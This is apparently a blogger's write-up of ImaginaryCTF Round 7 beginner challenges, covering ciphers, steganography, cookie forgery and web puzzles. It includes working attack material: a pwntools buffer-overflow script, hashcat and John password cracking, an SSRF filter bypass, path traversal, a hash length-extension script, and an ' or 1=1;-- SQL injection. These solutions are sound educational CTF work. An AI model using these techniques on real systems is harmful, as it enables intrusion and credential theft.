iCTF is a month-long competition where daily challenges are posted to Discord. Challenges are usually beginner-focused, and with new challenges in the morning (for me), I’ve found it to be a good warm-up to start off the day.
In general I found this round to be about on par, but maybe a bit easier than the prior round. Challenges which I found particularly fun this round were It’s not RSA, I swear!, pyjail1, and Greatest Common Flag (which I definitely initially overthought)! A big thank you to all the challenge authors and board members for organizing this round.
If you are interested in joining, you can do so at https://discord.gg/Z4Vn9bw2uX
sanity check round 7
Welcome to Round 7! DM flags to me to get points, and rise up on the leaderboard! Have fun and enjoy Round 7!
Here’s your flag: ictf{Round_7_Sanity_Check}
Flag in description.
Inspector
Look at our website! Can you inspect it?
Flag is in HTML.
null
Have a look at this message I found in an old chest. I also found its key. key = [24, 28, 110, 126, 145, 200, 209, 222, 231, 332, 447, 460, 472, 476, 480, 569, 591, 629, 633, 650, 671, 695, 696, 699, 706, 833]. Can you decrypt it? Don’t forget to put the ictf{} wrapper around before submitting the flag.
https://github.com/ainzs-evil-twin/ictf-Feb-2021/blob/main/null/Corrosion.txt
From the challenge name we can deduce that this is a Null cipher. We want to use the key to index from the attached text, combining these will give us the flag.
key = [24, 28, 110, 126, 145, 200, 209, 222, 231, 332, 447, 460, 472, 476, 480, 569, 591, 629, 633, 650, 671, 695, 696, 699, 706, 833]
with open("Corrosion.txt") as f:
s = f.read()
print(f"ictf{{{''.join(s[k - 1] for k in key)}}}")
We get
where is the SUGAR…
I seem to have Lost my sugaR… can yoU find the differenCe?
(I really want to make a short cake )
Similar to last round’s Web comments challenge, this server sends you through several redirects until eventually you are redirected to a Rick roll.
Looking at the requests using curl -Lv
we see that a session
cookie is set off the bat, and eventually a cookie named sugar
is set with a value of “False”.
Trying again with curl -Lv -b sugar=True http://oreos.ctfchallenge.ga/
gets us the flag.
A Stegosaurus?!
What a cool picture of a dinosaur :)
![A Stegosaurus?! Challenge Input](/ictf-round-7-writeup/steg.jpg)
Run strings steg.jpg | grep ictf
on the image.
Basics of Pwn v1.2
Find the secret, find the message, it is as easy as that. Anyway, welcome to Basics of PWN Revised! NOTE: This challenge is created to help people learn how PWN works, it may be similar.
This is very similar to Basics of PWN from last round, except we are given source here.
Need to overflow the 12-byte stack buffer and set the value of x
to a specific value.
Wrote a quick pwntools script to do this:
import re
from pwn import *
from pwnlib import gdb
from pwnlib.util.packing import *
p = remote("54.175.62.191", 3000)
p.sendline(b"A" * 12 + p32(0x66746369))
s = p.recvall().decode("utf-8")
m = re.match(r"(?P<flag>ictf\{[^\}]*\})", s)
print(m.groups("flag")[0])
We get:
adminpassword
My friend Toby said this website had the most difficult protection in the world! Apparently, something is hidden! Could you help me break in?
Looking at the linked page, there is a form with a commented out password input.
Assume we have to make a POST request with both username and password set.
Title of the challenge is a hint as to the required credentials: curl -X POST -d username=admin -d password=password http://oreos.ctfchallenge.ga:1337/
We get:
Nucleotides
Nucleotides are the subunits which make up the DNA. The 4 kinds of nucleotides in the DNA are distinguished by their nitrogen heterocycle substituents: adenine(A), cytosine(C), guanine(G), and thymine(T).
In a parallel universe, the DNA is composed of 8 kinds of nucleotides instead of 4: A, C, G, K, M, R, T, and U. Find out how many unique strands of length 8 (may contain repeated nucleotides) are possible in this universe. Also, find the 250th strand (counting starts from 1) in this set, after this set is sorted alphabetically.
Wrote a quick Python script using itertools
to solve this:
from itertools import islice, product
s = next(islice(product("ACGKMRTU", repeat=8), 249, 250))
print(f"ictf{{{8**8}_{''.join(s)}}}")
Apparently some people solved the second portion by converting 249 to octal and mapping the digits to nucleotide letters, pretty smart but not the first thing I thought of!
Anyway, we get:
AppleBot 2.0
Welcome to AppleBot 2.0! C Edition! We fixed that nasty bug from last time, and migrated to a cleaner interface. Enjoy the apples!
Looking at the source code, this program maintains a int apples
variable and allows you to manipulate it via the various menu options.
We can either increment the variable by one or decrement it by an arbitrary amount, and have 50 operations to achieve 1000000000 apples from a starting value of 5.
There is a signed integer underflow bug here, where we can decrement by a large number of apples and underflow the variable to achieve INT_MAX apples, unlocking the flag.
Quick pwntools script:
from pwn import *
p = remote("imaginary.ml", 10042)
p.recvuntil(b"> ")
p.sendline("2")
p.sendline(str(2 ** 31 + 6))
p.recvuntil(b"> ")
p.sendline("3")
print(p.recvlineS())
We get:
from-the-shadows
I managed to get my hands on some shadowy stuff. Can you crack the password? Rockyou might help.
Flag is ictf{PasswordYouGet}
Inside the zip is a passwd
and shadow
file, and we are given the hint to use rockyou as a wordlist.
Crack with hashcat -m 1800 -a 0 shadow rockyou.txt
cookie-sale
Zyphen wants to munch on his favorite Oatmeal Raisin Cookies, but he is experiencing weird bugs on the confectionery website. Order some cookies for him please.
(I’d like to remind you once again that you don’t have to use any kind of dirbuster for this challenge)
Checked out the linked website, seems like there’s a “place order” form with various types of cookies.
It also appears that any cookie you order is mapped to a chocolate chip cookie.
Looking at the page’s cookies, there is is one for the flavor
and one for the user
.
Based on the description, set flavor
to “OatmealRaisin” and user
to “Zyphen”.
This reveals the flag:
W3b s0urc3ry
My friend said he was a wizard in the web, and if I solved his puzzle I could win a big prize! Could you help me solve it?
We see an… interesting website, with a large picture on the home page of Ruth Wakefield (inventor of the Toll House cookie).
Navigating to the adminLogin
page, we see login form.
Examining the source, we see a note <!-- Dev note: make secure/data.sqlite private in production-->
.
Downloading http://oreos.ctfchallenge.ga:30000/secure/data.sqlite and examining it, we can see a set of usernames and passwords in a table called needed_data
.
Logging in with Ruth:Wakefield
displays the message “You were logged in(kind of).”
Examining the new login page, we see another dev note: <!--Dev note: make secure/cookies.sqlite private in production-->
.
Downloading http://oreos.ctfchallenge.ga:30000/secure/cookies.sqlite and examining it, we can see three tables: cookies
, rick
, and suspicious
.
Looking at suspicious
first, we see a key/value pair original-cookie:wxEhjSElDqEdDgcNzpcszROcAvrMpHsGa0PscVs=
.
Setting this cookie and logging in again, we are presented with the flag.
Javavavaa
Could you help me find the epic flag for this fine challenge?
Note: please put the fine flag wrapper around your answer.
Adapt solution from Javavava from last round:
public class solve {
public static char[] encode(String flag) {
char[] flagVars = new char[flag.length()];
char[] xorVars = new char[flag.length()];
// Put epic flag in epic array with epic values and perform epic
// operation with epic values
for (int i = 0; i < flag.length(); i++) {
flagVars[i] = flag.charAt(i);
xorVars[i] = (char)(flagVars[i] ^
(flagVars[i] ^
(flagVars[i] ^ (flagVars[i] ^ flagVars[i]))));
}
// Declare more epic variables
int intint = 673;
int intin = 547;
String variable_name = "";
// Perform epic operation with epic values ~~with epic fallback~~
for (int i = 0; i < xorVars.length; i++) {
if (xorVars[i] != ' ') {
variable_name +=
(char)((((intint * (xorVars[i] - 'a')) + intin) % 26) +
'a');
} else {
variable_name += xorVars[i];
}
}
// Put epic array values in another epic array with epic values
char[] xorEVars = new char[variable_name.length()];
for (int i = 0; i < variable_name.length(); i++) {
xorEVars[i] = (variable_name.charAt(i));
}
// Put epic array values in same epic array with epic values
for (int i = 0; i < xorVars.length; i++) {
while ((5 * -1) * i * (-1 / 5) == 5) {
xorEVars[i] = (char)(xorVars[i] - (xorVars[i]));
xorEVars[i] = (char)(xorVars[i] + (xorVars[i]));
xorEVars[i] = (char)(xorVars[i] - (xorVars[i]));
}
}
return xorEVars;
}
public static void main(String[] args) {
char[] expected = "dlouhudxpwgppidvmubjz".toCharArray();
char[] input = new char[expected.length];
for (int i = 0; i < expected.length; i++) {
for (char c = 32; c < 127; c++) {
input[i] = c;
char[] actual = encode(new String(input));
if (actual[i] == expected[i]) {
break;
}
}
}
System.out.println(new String(input));
}
}
We get:
privacy-enhanced-mail
I need to read the encrypted flag flag.enc but I am not a very technical person. Help me out please.
Examining our files, we have a RSA private key encrypted with DES-EDE3-CBC, and an encrypted flag file. We will need to crack the password for the key, we can use John the ripper to do this.
We can convert private.pem
to a format john
can ingest with python ssh2john.py private.pem > private.hash
.
After this, we can crack the password with john --wordlist=rockyou.txt private.hash
.
After a short wait we get a password of sherlock
.
Finally, let’s use OpenSSL to decrypt our file with openssl rsautl -decrypt -in flag.enc -inkey private.pem
We get:
head
I think I XORed my head off…
We can see that the challenge input is a XOR-encoded PNG image. As we know the contents of the PNG header, we can recover the key by XOR-ing the expected plaintext with the ciphertext.
import itertools
with open("enc.png", "rb") as f:
ct = f.read()
pt = b"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52"
key = "".join(chr(c ^ ord(p)) for c, p in zip(ct, pt))[:11]
m = bytes(c ^ ord(p) for c, p in zip(ct, itertools.cycle(key)))
with open("out.png", "wb") as f:
f.write(m)
We get a key of “justimagine”. XOR-ing the ciphertext with the key gives us the correct output image.
![head Challenge Output](/_astro/head-output.B2MWb_wC_2coyKl.webp)
Lists
Joe was learning about lists, but I don’t understand what he did! Could you help me?
Inside the zip file we have a script and a (large) text file containing the output. First part of problem is to parse the output, we (ab)use Python’s JSON parser to do this.
Looking at the script, we note that we only really care about the first element of this large list, so let’s grab that and throw the rest away. Each element of the list consists of a “character” (actually a string of 3 characters) and an index. Sorting by index, we get:
['tic', 'pf{', 'hyt', 's0n', 'lk1', '}lz']
This already kind of looks like a flag, and judging from the minus
function in the script the strings are permuted.
Let’s reassemble them in the proper order.
Our final script looks like:
import json
with open("out") as f:
s = f.read().replace("'", "\"")
places = json.loads(s)[0]
lists = sorted(places, key=lambda d: d["index"])
flag = "".join(d["character"][i] for d in lists for i in [1, 2, 0])
print(flag)
We get:
Client Side 1
Made my first client side website! My flag should be safe here right?
Cleaning up the Javascript on this page, we see:
var _0x149e = [
"1075230xBwxSB",
"969237SgnaBV",
"1KkrtOa",
"141nVvLdM",
"youwillnevereverguessthispasswordbecauseitstoolonglolXD",
"1295725OZKhBo",
"VjFaYWExUXdNVWRqU0ZaclVqTkNjRlZyVm1Gak1XeDBZMGQwWVdKVk5ESlZiVEV3V1ZaYWNXSklRbGhXYlZKVVZERkZPVkJSUFQwPQ==",
"1alDBVo",
"7637IvXsBw",
"1138477vvIhbr",
"176869hXQrFG",
"2738145xAbRBs",
];
var _0x2acb = function (_0x90b83a, _0x148c4a) {
_0x90b83a = _0x90b83a - 0x17b;
var _0x149e3c = _0x149e[_0x90b83a];
return _0x149e3c;
};
(function (_0x390b78, _0x57629d) {
var _0x312418 = _0x2acb;
while (!![]) {
try {
var _0x45d933 =
parseInt(_0x312418(0x17c)) +
-parseInt(_0x312418(0x180)) * parseInt(_0x312418(0x186)) +
parseInt(_0x312418(0x17f)) +
parseInt(_0x312418(0x17b)) * parseInt(_0x312418(0x182)) +
parseInt(_0x312418(0x184)) +
-parseInt(_0x312418(0x17d)) +
parseInt(_0x312418(0x17e)) * -parseInt(_0x312418(0x181));
if (_0x45d933 === _0x57629d) break;
else _0x390b78["push"](_0x390b78["shift"]());
} catch (_0xa1af7e) {
_0x390b78["push"](_0x390b78["shift"]());
}
}
})(_0x149e, 0xab62e);
function check(_0xccae0b) {
var _0x2605b6 = _0x2acb;
_0xccae0b == _0x2605b6(0x183) &&
alert(atob(atob(atob(atob(atob(_0x2605b6(0x185)))))));
}
Looking at the check function, tried out atob(atob(atob(atob(atob(_0x2acb(0x185))))))
in the console (although I guess trying youwillnevereverguessthispasswordbecauseitstoolonglolXD
in the text box would have worked too ).
We get:
chocolate-sale
Zyphen is craving some dark chocolate, but the vendor’s website is buggy again. Order some dark chocolate please. (I’d like to remind you once again that you don’t have to use any kind of dirbuster for this challenge)
Similar to cookie-sale, place an order for chocolates and then check cookies.
We see admin=False
, chocolate=white
, and hmac=0a019157c31445c9fdba88452dd59f8827ec58520ae7b49c97ae406dfc172bc0839dcda997e52e5f45cb88a658e1f03148cdcefcd27bfa3c1600a9d12b4df11b
Trying with the cookies admin=True
and chocolate=dark
, we see a message:
@admin#7241 pls implement hmac, set secret key to PotatoGLaDOS.
Are you sure you want White Chocolate labelled as Dark? I doubt the authenticity of your order
hmac
cookie is 512 bits long, so let’s assume they are using HMAC-SHA512.
Using the Python hmac
module, we get:
>>> import hmac
>>> hmac.digest(b"PotatoGLaDOS", b"white", "sha512").hex()
'0a019157c31445c9fdba88452dd59f8827ec58520ae7b49c97ae406dfc172bc0839dcda997e52e5f45cb88a658e1f03148cdcefcd27bfa3c1600a9d12b4df11b'
>>> hmac.digest(b"PotatoGLaDOS", b"dark", "sha512").hex()
'e1611df80e3887fbb8582460f34d2bd8b5bf1f30e48f2a1bae9c96bacdb389c44a9c6a04dcbf147edd1978d4b450f5b8535072c6afd021890b039d1e5a4e66c5'
Setting the hmac
cookie to the proper value, we get:
Youtube OSINT
A classic youtube OSINT challenge.
Went to the Imaginary CTF Youtube Channel, poked around a bit and found Et3rnos’ channel under “Featured Channels”.
There are two videos published, the first one from 3 days ago has a comment from Imaginary CTF “MF9icnJycnJycnJ9”.
Base64 decoded, this string becomes 0_brrrrrrrr}
, which looks like the second portion of the flag.
Poked around some more and opened the transcript for this video, here we find the first portion of the flag, ictf{subt1tl3s_g
.
RSA Decryption
Normally, in a CTF challenge, you are given n and have to find p and q. Well, I’ve already factored n for you - what now? (Thanks to puzzler7 for this challenge!)
We notice that we are given values for n
, p
, q
, d
, e
, and m
.
As we are given m
, lets try encrypting it (c = m^e mod n
).
from Crypto.Util.number import long_to_bytes
n = 123866076296518994316177296478401057712619155986200878799260448000669843742215227147742612238448786236537913842690449015629955372080450951285004618721197161153509895788558696454499259251716789706937392724214421501943502930012644776183903844650127938010978184494249206432961928770464951936577074082800337386673
e = 65537
m = 59608029134280521090530076650233022208585433513083249823903250368964980675769965381391962238262367887225477224953265451074398410499344587738342500806385379151320373742405142456066966027021177125457506467726430630196459340946541486778076530380330532284439882241478556294444494267069124934688943051219928225431
print(long_to_bytes(pow(m, e, n)))
We get:
Pathological Liars
If at once you don’t solve a challenge, ask your parents to solve for you :D (Thanks to RobinJadoul for this problem)
Navigating to the link in the description, we are presented with the (highlighted) source of the running Flask server.
import flask
import pygments, pygments.lexers, pygments.formatters, pygments.lexers, nord_pygments
import requests
import os
app = flask.Flask(__name__)
def get_content(fname):
if os.path.isfile(fname):
with open(fname) as f:
return f.read()
elif os.path.isdir(fname):
return "\n".join(f"- {x}" for x in os.listdir(fname))
else:
return "Nothing seems to be here?"
@app.route("/")
def serve():
filename = flask.request.args.get("highlight", __file__)
content = get_content(filename)
try:
lexer = pygments.lexers.get_lexer_for_filename(filename)
except:
lexer = pygments.lexers.special.TextLexer()
nord_pygments.Nord.background_color = "#2e3440"
return pygments.highlight(content, lexer, pygments.formatters.HtmlFormatter(full=True, style=nord_pygments.Nord))
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
There is a function called get_content
which accepts a filename as a query string parameter and displays its highlighted contents.
This seems to be vulnerable to a path traversal bug (as made clear by the description as well).
Navigating to https://pathological-liars.robinjadoul.repl.co/?highlight=../flag.txt gets us the flag:
Simple Servers Real Fun
Check out my new Redirect as a Service website! (Thanks to RobinJadoul for this challenge :D)
Navigating to the link in the description, we are (again) presented with the source of the running Flask server.
import flask
import pygments, pygments.lexers, pygments.formatters, nord_pygments
import requests, ipaddress
app = flask.Flask(__name__)
@app.route("/")
def serve():
with open(__file__) as f:
content = f.read()
try:
lexer = pygments.lexers.get_lexer_for_filename(__file__)
except:
lexer = pygments.lexers.special.TextLexer()
nord_pygments.Nord.background_color = "#2e3440"
return pygments.highlight(content, lexer, pygments.formatters.HtmlFormatter(full=True, style=nord_pygments.Nord))
@app.route("/hit_it")
def hit_it():
target = flask.request.args.get("it")
if not target:
return "Aww?"
if any(x in target for x in ["127", "local", "flag"]):
return "Nah, bruv"
return requests.get(target).text
@app.route("/flag")
def flag():
if ipaddress.ip_address(flask.request.remote_addr).is_loopback:
return open("flag.txt").read()
else:
return flask.redirect("https://youtu.be/dQw4w9WgXcQ")
if __name__ == "__main__":
app.run("0.0.0.0", 5000)
Based on the code and on the challenge title, we need to exploit a SSRF vulnerability to get the flag.
This is made slightly challenging by the filtering done in /hit_it
, meaning we can’t have any of ["127", "local", "flag"]
in our target URL.
Let’s use one of the public domains pointing to localhost to bypass the first two restrictions, and URL encoding to bypass the “flag” filter.
curl https://simple-servers-real-fun.robinjadoul.repl.co/hit_it?it=http://fuf.me:5000/%2566lag
gives us:
It’s not RSA, I swear!
I spiced up my not-RSA with randomness! They told me it’s secure, so you won’t be able to retrieve my super duper secret message… Right? (Thanks to A~Z (Aztro) for this challenge!)
Inside the zip we see a Python script for encrypting the flag, plus the output inside a text file. There are three functions defined:
perhaps_rsa_keygen
, which generatesN
,E
, andD
according to the usual RSA meaning using 1024-bit primesyou_thought_it_was_rsa_encryption_but_it_was_me_dio
, which is the meat of this challengenot_rsa_main
, which encrypts the flag and writes the output file
Looking at you_thought_it_was_rsa_encryption_but_it_was_me_dio
, we see that it generates some random parameters for a LCG and uses these with some modular arithmetic to encrypt the flag one hex-nibble at a time.
Our first step is to recover the states of the LCG (the nonce
variable in the function).
Here, we can use our knowledge of the flag format to assume that the first four characters of the flag are “ictf”.
We can use this known plaintext to reverse the multiplication step inside the loop, and retrieve the first 8 nonce values.
In other words, given paramters n
and e
, an encrypted value from the output c
and a known plaintext nibble d
, the state of the LCG at that step is:
c = ((e^d mod n) * (s^-1 mod n)) mod n
=> s = c * ((e^d mod n)^-1 mod n)^-1 mod n
(See the crack_nonce
function in the final script)
Next, we need to use our knowledge of the state to recover the parameters m
, a
, and b
.
There is a great writeup on how to do this at https://tailcall.net/blog/cracking-randomness-lcgs/, which helpfully provided some Python code.
The last step is to decrypt the ciphertext.
We know the value of d
at each step is 0-15, as the characters of the flag are encrypted one nibble at a time.
This prevents us from having to know D
from the RSA keygen stage, which was not provided.
Instead, we can just try each possible value for every nibble and advance to the next ciphertext value / update the nonce when we see a match.
Putting this all together, we get this script:
from functools import reduce
from math import gcd
with open("out.txt", "r") as f:
n = int(f.readline()[3:])
e = int(f.readline()[3:])
_ = f.readline()
_ = f.readline()
ct = [int(x) for x in f.readline()[1:-1].split(", ")]
known_pt = b"ictf".hex()
def crack_nonce(d, c):
return pow(c * pow(pow(e, int(d, 16), n), -1, n), -1, n)
states = [crack_nonce(p, c) for p, c in zip(known_pt, ct)]
# From https://tailcall.net/blog/cracking-randomness-lcgs/
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0] * multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
multiplier = (
(states[2] - states[1]) * pow(states[1] - states[0], -1, modulus) % modulus
)
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
m, a, b = crack_unknown_modulus(states)
def decrypt(s0, m, a, b, ct):
s = ""
nonce = s0
for c in ct:
for d in range(16):
x = pow(e, d, n) * pow(nonce, -1, n) % n
if x == c:
s += hex(d)[2:]
break
nonce = (a * nonce + b) % m
return bytes.fromhex(s).decode("utf-8")
print(decrypt(states[0], m, a, b, ct))
We get:
System Hardening 4
(I dropped the 10- prefix, was getting kinda weird) Challenge information is on the website.
Extraction password is
one_ring_4f6ab232
https://drive.google.com/file/d/14FlElt3KqvNtpivEfmPxsAC3uGop0jMI/view?usp=sharing
This challenge involves downloading a virtual machine image and performing hardening steps to satisfy a scoring script.
The scenario indicates that the machine contains a vulnerable version of sudo
, a backdoored command, and potentially an untrustworthy user participating in unspecified underhanded activities .
The challenge author has requested that we only discuss the forensics questions here, so the writeup will be limited to these.
Forensics Question 1
A recent zeroday in sudo, nicknamed “Baron Samedit,” allows for privelege escelation from any user account.
What is the CVE number of this vulnerability?
Forensics Question 2
Hashes are used in computers to verify integrity, as well as to check passwords.
What is the MD5 hash of the file /bin/bash?
md5sum /bin/bash
gives
Forensics Question 3
There is a hidden user on this system. What is the user ID of this user?
Examining /etc/passwd
, we see user with user ID 169.
As this is below 1000, this account is considered a system user and not displayed in the login prompt.
Forensics Question 4
An user has been playing an unauthorized game on this workstation.
What secret message has the user left inside the game?
(P. S. I kinda got addicted to the game, so it’s fine to leave it here)
From conversations on the Discord, I knew this game was Minetest.
Searched for users who had a .minetest
directory in their home directory, saw that user bilbo
has been playing this.
Loaded up his save file, and we get .
General approach to hardening
Same as in last round, but saw some links to CyberPatriot training slides and some automated hardening scripts which made this easier.
Keys to the SEA
could you help me find the hidden key to the sea?
Examining the provided script, we see some code to encrypt the flag with AES, and the key, iv, and resulting ciphertext dumped as JSON in a comment representing the output.
First thing we note is a bunch of zero-width space characters following “REDACTED” as the key.
Took a guess and assumed this was the same scheme as in whoami, plugging this in to https://offdev.net/demos/zwsp-steg-js gives us a key of 7154534113143173
.
Let’s write a script to decrypt the ciphertext with this key:
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
# Use https://offdev.net/demos/zwsp-steg-js to decode key
key = b'7154534113143173'
iv = long_to_bytes(305391053562888545371714674049318800655)
ct = long_to_bytes(28048967036896554615791698028016955617934752356413153805804958928455841229159)
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(cipher.decrypt(ct))
We get:
Greatest Common Flag
Can you find the Greatest Common Flag?
nc stephencurry.ctfchallenge.ga 5000
This awesome chall was created by drdoctor#8478
Connecting to the service, we see the following prompt:
Welcome to Not GCD Guesser
If you guess my number N, I will give you the flag!
1) Get information (3 tries left)
2) Guess number
Enter choice:
The goal here is to figure out N
from the given information.
Choosing option one, the program prompts us for two integers A
and B
, and then computes GCD(A+N, B)
for us.
If we select A = 0
and B = 0
, we can get it to compute GCD(N, 0) = N
for us!
Entering the result into option two, we get:
icecream-sale
I want some Honey-Pistachio flavored icecream but the vendor’s website always gets my order wrong. Is there some way to get my order correct?
(I’d like to remind you once again that use of any kind of dirbuster for this challenge is not needed and not allowed)
Similar to the last few “sale” challenges, attempting to order a Honey Pistachio ice cream here orders the wrong flavor, and sets some relevant cookies.
Specifically, we see admin
, order
, and signature
cookies.
Setting admin
to “True” gives us a link to this pastebin showing the signature verification code being used.
We see the signature is created by concatenating a secret plus the base-16 encoded order and calculating the SHA512 hash of the result.
It is clear from this scheme (as well as the text about backdoors in HMAC) that we are meant to exploit a hash length extension attack to set the flavor.
Used Hashpumpy to automate this:
import base64
import re
import requests
import hashpumpy
URL = "https://bluelazyparentheses.oleanderson.repl.co/icestatus"
ORIG_SIG = "805cff0016a48bac055a3b1460eead8356082de12292a0af23a1d9da2db80facfc39181b48883f6dfa55701bb58b417c0e99cdec9b63de8d4e9485214c64bc15"
ORIG_DATA = base64.b16decode("636F6D6D6F646974793D696365637265616D7C666C61766F723D43686F636F6C6174652D416C6D6F6E64")
for i in range(1, 32):
sig, data = hashpumpy.hashpump(ORIG_SIG, ORIG_DATA, "|flavor=Honey-Pistachio", i)
r = requests.get(
URL,
cookies={
"admin": "True",
"order": base64.b16encode(data).decode("utf-8"),
"signature": sig,
},
)
m = re.search(r"ictf{.*}", r.text)
if m:
print(m.group(0))
break
We get:
My Login Combiner
My friend said this website had filters so strong it was impossible to log into! Can you help me prove him wrong?
Note: please do not use any enumeration tools
This site hosts a login form which is vulnerable to SQL injection. There appears to be some filtering on the username field, but the password field is not hashed and appears to be unfiltered.
Running curl -X POST -d "username=" -d "password=' or 1=1;--" http://oreos.ctfchallenge.ga:12345/view
, we get:
Bonus: Beta Challenges
I was able to receive beta tester access to the new Discord bot, which also gave me access to a few additional challenges for the round.
Beta Sanity Check
Welcome to ImaginaryCTF Beta Test! Submit the flag in attachments to get started. To do that, message me the flag using b.flag command.
ictf{b3t4_s4n17y_ch3ck}
Flag in description.
Júlio César
Normal Caesar cipher, but I shifted it 1000 times >:)
uofr{Omqemd_oubtqd_Omqemd_oubtqd}
Plug into quipqiup with hints for the initial known prefix “ictf”.
Challenge Hunt
I hosted today’s challenge under ctfchallenge.ga but I can’t remember the link…
Note: Wrap whatever you get with ictf
Use Sublist3r to enumerate subdomains with sublist3r -d ctfchallenge.ga
.
whoami
eth007@imaginaryctf$ sudo su
[sudo] Password for eth007:
root@imaginaryctf# guess
ictf{th1s_1s_n0t_th3_fl4g}
root@imaginaryctf# guess —harder
ictf{th1s_1s_only_l0w_p0ints_cuz_its_guessy}
root@imaginaryctf# guess —even-harder
ictf{th1s_shouldnt_require_so_much_guessing}
root@imaginaryctf# su offdev
offdev@imaginaryctf$ guess —find-the-flag
ictf{th3_fl4g_1s_b3l0w}
offdev@imaginaryctf$ exit
root@imaginaryctf# exit
THIS ISNT THE FLAG EITHER
Examined the given text / attachment in a browser. There are several “invisible” zero-width unicode characters embedded in the html, not rendered above so reproduced in HTML entity form below:
<b>Description</b>
<br />
<p>
eth007@imaginaryctf$ sudo su 
[sudo] Password for
eth007:​​​​‏‎​​​​​‏‎‍​​​​‏‍‍​​​​‏​‌​​​​‏‍‏​​​​‏‎​​​​​‏​‌​​​​‎‏‏​​​​‏‍‏​​​​‏​‌​​​​‏‎‌​​​​‏‎​​​​​‏​‌​​​​‎‏‏​​​​‏‎‍​​​​‏‍‏​​​​‏​‌​​​​‏‍‍​​​​‎‏‍​​​​‏‎​​​​​‏‎​​​​​‏‎‏​​​​‏‍‌​​​​‏‍‏​​​​‏​​
root@imaginaryctf#
guess 
ictf{th1s_1s_n0t_th3_fl4g} 
root@imaginaryctf# guess
--harder 
ictf{th1s_1s_only_l0w_p0ints_cuz_its_guessy}

root@imaginaryctf# guess --even-harder

ictf{th1s_shouldnt_require_so_much_guessing}

root@imaginaryctf# su offdev 
offdev@imaginaryctf$ guess
--find-the-flag 
ictf{th3_fl4g_1s_b3l0w}

offdev@imaginaryctf$ exit 
root@imaginaryctf# exit
</p>
<b>Attachments</b>
<br />
<p>
T​​​​‏‌​​​​​‎‏‏​​​​‏‎‌​​​​‏​‍​​​​‏‏‎​​​​‏‌‏​​​​‌‏‎​​​​‏‎​​​​​‏‎‌​​​​‎‏​​​​​‏​‎​​​​‏‎‍​​​​‍​‌​​​​‏‎​​​​​‏‎​​​​​‏‏‌​​​​‎‏​​​​​‎‏‏​​​​‏​‏​​​​‍​‍​​​​‏‌‎​​​​‏‌‎​​​​‎‏​​​​​‍​‍​​​​‏‎‎​​​​‏​‌​​​​‏‍‏​​​‌​​​HIS
ISNT THE FLAG EITHER
</p>
“offdev” in the description is a hint, found an online steganography tool which decodes this scheme. Copy-pasted in message text and got:
Juni0r Dashboard
The flag is in ET3RNOS{.+} format.
Do NOT use brute force on this website.
Inspecting page source, we see the following note:
<!--Hey there! I am Et3rnos Juni0r.
I wanted to build my own super secret dashboard but I forgot to add my password hash
to the files and I only realized that after uploading them to the server.
Can you give me access to my dashboard? Or do you think this is too much hard for you to hack?
PS: I hope Google won't index this page...-->
Using this hint, lets examine robots.txt
.
We see that this disallows crawlers from accessing the /_LOGS_
directory.
Examining /_LOGS_
, we find a file at http://ctf1.epizy.com/_LOGS_/05-04-2020.log containing:
[DEBUG] ("811963dc2126f18c1818fb07e996f7b1" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("3f1bfc38e02bb92221ee3ca37640a042" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d92e68c2834415c1e744f69f0a2cfb93" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("007cb622a2f1fc7cbcd72f40eaa63058" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("544d19f16daa5e921d2919d7e96b2528" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("bcf97353375789138fae6e8619c66a31" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("12b36679622c5aa3002a4b7bc24e3ab1" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("30a66919c5e23c6d968519290b320f3f" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("7867ffb12bee19a2c4f00a00eede4f12" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f939e043abf271eb4ad2eee78c5bea83" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("6a25cb3d71c6b7d4a052eff5ec19c3f8" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("dc7d46e234bb68b75b40729a76119155" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("375c9676b68f3dd61adae1fb0ef18c30" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4497a4f897fbcac1a96f9bdcdb9da14d" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("f32dca801220d00ed3583fbfc3391119" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("27a35c8e55c3c5e93c4b6ba3edf6e809" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("b894600411309c0af13c5dcc18967942" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("d9f2ad7dde939ba6f8170a672223bdc6" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("33a0caa4b284e01d8ecef0fe0db64815" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("1b3ab195a1fc140dbed973c9b0afbf4b" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("9d45925899f9927ab8b25453eb914861" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("46a8e136af011348e42ed2ad73e852e6" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("80efe330af7b06b13f5bbd9261562636" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("4093a2da75fa42636710634f63febf43" == "00000000000000000000000000000000") returned false. Authentication failed.
[DEBUG] ("453dfa7817ff4690f36b81103802c21b" == "00000000000000000000000000000000") returned false. Authentication failed.
